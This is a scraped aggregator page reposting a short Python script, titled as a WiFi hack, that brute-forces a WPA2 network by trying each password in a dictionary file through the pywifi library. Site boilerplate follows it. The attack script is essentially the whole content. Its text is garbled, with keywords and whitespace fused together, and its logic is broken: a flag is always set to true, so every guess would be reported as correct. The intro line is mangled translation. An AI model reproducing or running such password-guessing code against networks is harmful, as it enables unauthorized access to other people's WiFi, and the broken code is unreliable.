Python make WiFi Hack (run dictionary (single thread))

Source: Internet
Author: User

It's a simple penis, and then an article.

ImportPywifiImportSYSImport Time fromPywifiImportConstdefTest_wifi_connect (passwordstr): WiFi=pywifi. Pywifi ()#InitializeIfaces=wifi.interfaces () [0]#Create and remove the first infinite Nic    #print (Ifaces.name ()) #输出无限网卡名Ifaces.disconnect ()#disconnecting an infinite network card connectionTime.sleep (3)#buffer for 3 seconds after disconnection Profile=pywifi. Profile ()#configuration fileProfile.ssid="tp-link_168"#WiFi nameProfile.auth=const. Auth_alg_open#Password connection requiredProfile.akm.append (const. AKM_TYPE_WPA2PSK)#WiFi EncryptionProfile.cipher=const. cipher_type_ccmp#Secret UnitProfile.key=passwordstr#WiFi Keyifaces.remove_all_network_profiles ()#Delete all other configuration filesTmp_profile=ifaces.add_network_profile (Profile)#Load configuration fileIfaces.connect (tmp_profile)#ConnectionTime.sleep (10)#can be connected in 10 secondsisOK =TrueifIfaces.status () = =Const. Iface_connected:Print("Connection Successful")    Else:        Print("Connection Failed") Ifaces.disconnect ()#Disconnect ConnectionTime.sleep (1)    returnIsokfpath=r"Password.txt"Files=open (Fpath,'R') whileTrue:#output of a row of rowsFd=Files.readline ()if  notFD: BreakFD= Fd[:-1]#Remove line break    ifTest_wifi_connect (FD):Print(FD,"Password is correct")    Else:        Print("Password Error") Files.close ()

Python make WiFi Hack (run dictionary (single thread))

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.